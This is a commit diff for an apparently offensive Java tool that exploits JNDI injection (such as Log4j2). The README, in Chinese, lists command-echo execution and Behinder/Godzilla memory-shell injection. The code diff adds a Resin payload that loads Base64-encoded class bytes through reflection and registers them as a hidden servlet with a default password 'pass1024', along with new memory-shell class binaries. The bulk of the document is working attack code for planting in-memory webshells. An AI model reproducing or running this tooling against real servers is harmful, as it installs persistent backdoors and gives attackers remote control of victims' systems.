Merge branch 'v0.3-dev'
This commit is contained in:
15
README.md
15
README.md
@@ -25,6 +25,19 @@
|
|||||||
- 回显命令执行
|
- 回显命令执行
|
||||||
- 内存马注入
|
- 内存马注入
|
||||||
|
|
||||||
|
## Support
|
||||||
|
|
||||||
|
- 本地gadget探测
|
||||||
|
- 回显命令执行
|
||||||
|
- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马
|
||||||
|
- Tomcat/Resin 一句话内存马
|
||||||
|
|
||||||
|
## Test
|
||||||
|
|
||||||
|
漏洞环境请转至 v0.3 Version Releases处下载,运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务,访问首页的超链接后的id参数中存在 `Log4j2`漏洞。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
@@ -119,7 +132,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马**
|
**可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
@@ -89,12 +89,15 @@ public class StartUp {
|
|||||||
String[] proxies = options.get("proxy").split(":", 2);
|
String[] proxies = options.get("proxy").split(":", 2);
|
||||||
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
|
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
|
||||||
}
|
}
|
||||||
memoryShell.add("BehinderFilter");
|
memoryShell.add("TomcatBehinderFilter");
|
||||||
memoryShell.add("BehinderServlet");
|
memoryShell.add("TomcatBehinderServlet");
|
||||||
memoryShell.add("GodzillaFilter");
|
memoryShell.add("TomcatGodzillaFilter");
|
||||||
memoryShell.add("GodzillaServlet");
|
memoryShell.add("TomcatGodzillaServlet");
|
||||||
memoryShell.add("NeoreGeorgFilter");
|
memoryShell.add("TomcatNeoreGeorgFilter");
|
||||||
memoryShell.add("NeoreGeorgServlet");
|
memoryShell.add("TomcatNeoreGeorgServlet");
|
||||||
|
memoryShell.add("TomcatShortMemShellFilter");
|
||||||
|
memoryShell.add("TomcatShortMemShellServlet");
|
||||||
|
memoryShell.add("ResinShortMemShellServlet");
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Class.forName("io.github.exp1orer.util.Config");
|
Class.forName("io.github.exp1orer.util.Config");
|
||||||
@@ -283,7 +286,6 @@ public class StartUp {
|
|||||||
* @author: SearchNull
|
* @author: SearchNull
|
||||||
*/
|
*/
|
||||||
private static boolean checkCommandEcho() {
|
private static boolean checkCommandEcho() {
|
||||||
String line;
|
|
||||||
String respContent;
|
String respContent;
|
||||||
String uuid = UUID.randomUUID().toString();
|
String uuid = UUID.randomUUID().toString();
|
||||||
String command = "echo " + uuid;
|
String command = "echo " + uuid;
|
||||||
@@ -338,7 +340,6 @@ public class StartUp {
|
|||||||
* @author: SearchNull
|
* @author: SearchNull
|
||||||
*/
|
*/
|
||||||
private static boolean runCommand(int index, String command) {
|
private static boolean runCommand(int index, String command) {
|
||||||
String line;
|
|
||||||
String respContent;
|
String respContent;
|
||||||
if (headers == null) {
|
if (headers == null) {
|
||||||
headers = new HashMap<String, String>();
|
headers = new HashMap<String, String>();
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import java.util.Base64;
|
|||||||
|
|
||||||
public class MemoryShell {
|
public class MemoryShell {
|
||||||
private static MemoryShell instance = new MemoryShell();
|
private static MemoryShell instance = new MemoryShell();
|
||||||
|
private static String className = "";
|
||||||
|
|
||||||
private MemoryShell() {}
|
private MemoryShell() {}
|
||||||
|
|
||||||
@@ -20,7 +21,11 @@ public class MemoryShell {
|
|||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
return instance.tomcatMemoryShell(name + ".class");
|
if ("ResinMemShellServlet".equals(name)) {
|
||||||
|
return instance.resinMemoryShell(name);
|
||||||
|
} else {
|
||||||
|
return instance.tomcatMemoryShell(name + ".class");
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -90,6 +95,46 @@ public class MemoryShell {
|
|||||||
return code;
|
return code;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String resinMemoryShell(String name) {
|
||||||
|
String payload = renameClass("User", name + ".class");
|
||||||
|
String code = String.format("try {\n" +
|
||||||
|
" Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" +
|
||||||
|
" java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" +
|
||||||
|
" javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" +
|
||||||
|
" com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" +
|
||||||
|
" javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" +
|
||||||
|
" java.io.PrintWriter out = rep.getWriter();" +
|
||||||
|
" javax.servlet.http.HttpSession session = req.getSession();\n" +
|
||||||
|
" String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" +
|
||||||
|
" String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" +
|
||||||
|
"\n" +
|
||||||
|
" java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" +
|
||||||
|
" Object web =getServletContext.invoke(contextRequest);\n" +
|
||||||
|
"\n" +
|
||||||
|
" com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" +
|
||||||
|
"\n" +
|
||||||
|
" com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" +
|
||||||
|
"\n" +
|
||||||
|
" String s1=\"%s\";" +
|
||||||
|
" byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" +
|
||||||
|
"\n" +
|
||||||
|
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" +
|
||||||
|
" m.setAccessible(true);\n" +
|
||||||
|
" m.setAccessible(true);\n" +
|
||||||
|
" m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" +
|
||||||
|
" session.setAttribute(\"u\", pwd);\n" +
|
||||||
|
" smapping.setServletClass(\"%s\");\n" +
|
||||||
|
" smapping.setServletName(\"%s\");\n" +
|
||||||
|
" smapping.addURLPattern(path);\n" +
|
||||||
|
" web1.addServletMapping(smapping);\n" +
|
||||||
|
" out.println(\"->|Success|<-\");" +
|
||||||
|
"} catch (Exception e) {\n" +
|
||||||
|
" e.printStackTrace();\n" +
|
||||||
|
"}", payload, className, className, className);
|
||||||
|
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
|
||||||
private String renameClass(String prefix, String resourceName) {
|
private String renameClass(String prefix, String resourceName) {
|
||||||
String bytecodes = "";
|
String bytecodes = "";
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
@@ -100,7 +145,8 @@ public class MemoryShell {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = pool.makeClass(is);
|
CtClass ctClass = pool.makeClass(is);
|
||||||
ctClass.setName(prefix + System.nanoTime());
|
className = prefix + System.nanoTime();
|
||||||
|
ctClass.setName(className);
|
||||||
byte[] bytes = ctClass.toBytecode();
|
byte[] bytes = ctClass.toBytecode();
|
||||||
bytecodes = Base64.getEncoder().encodeToString(bytes);
|
bytecodes = Base64.getEncoder().encodeToString(bytes);
|
||||||
} catch (IOException | CannotCompileException e) {
|
} catch (IOException | CannotCompileException e) {
|
||||||
|
|||||||
BIN
src/main/resources/ResinMemShellServlet.class
Normal file
BIN
src/main/resources/ResinMemShellServlet.class
Normal file
Binary file not shown.
BIN
src/main/resources/ShortMemShellFilter.class
Normal file
BIN
src/main/resources/ShortMemShellFilter.class
Normal file
Binary file not shown.
BIN
src/main/resources/ShortMemShellServlet.class
Normal file
BIN
src/main/resources/ShortMemShellServlet.class
Normal file
Binary file not shown.
Reference in New Issue
Block a user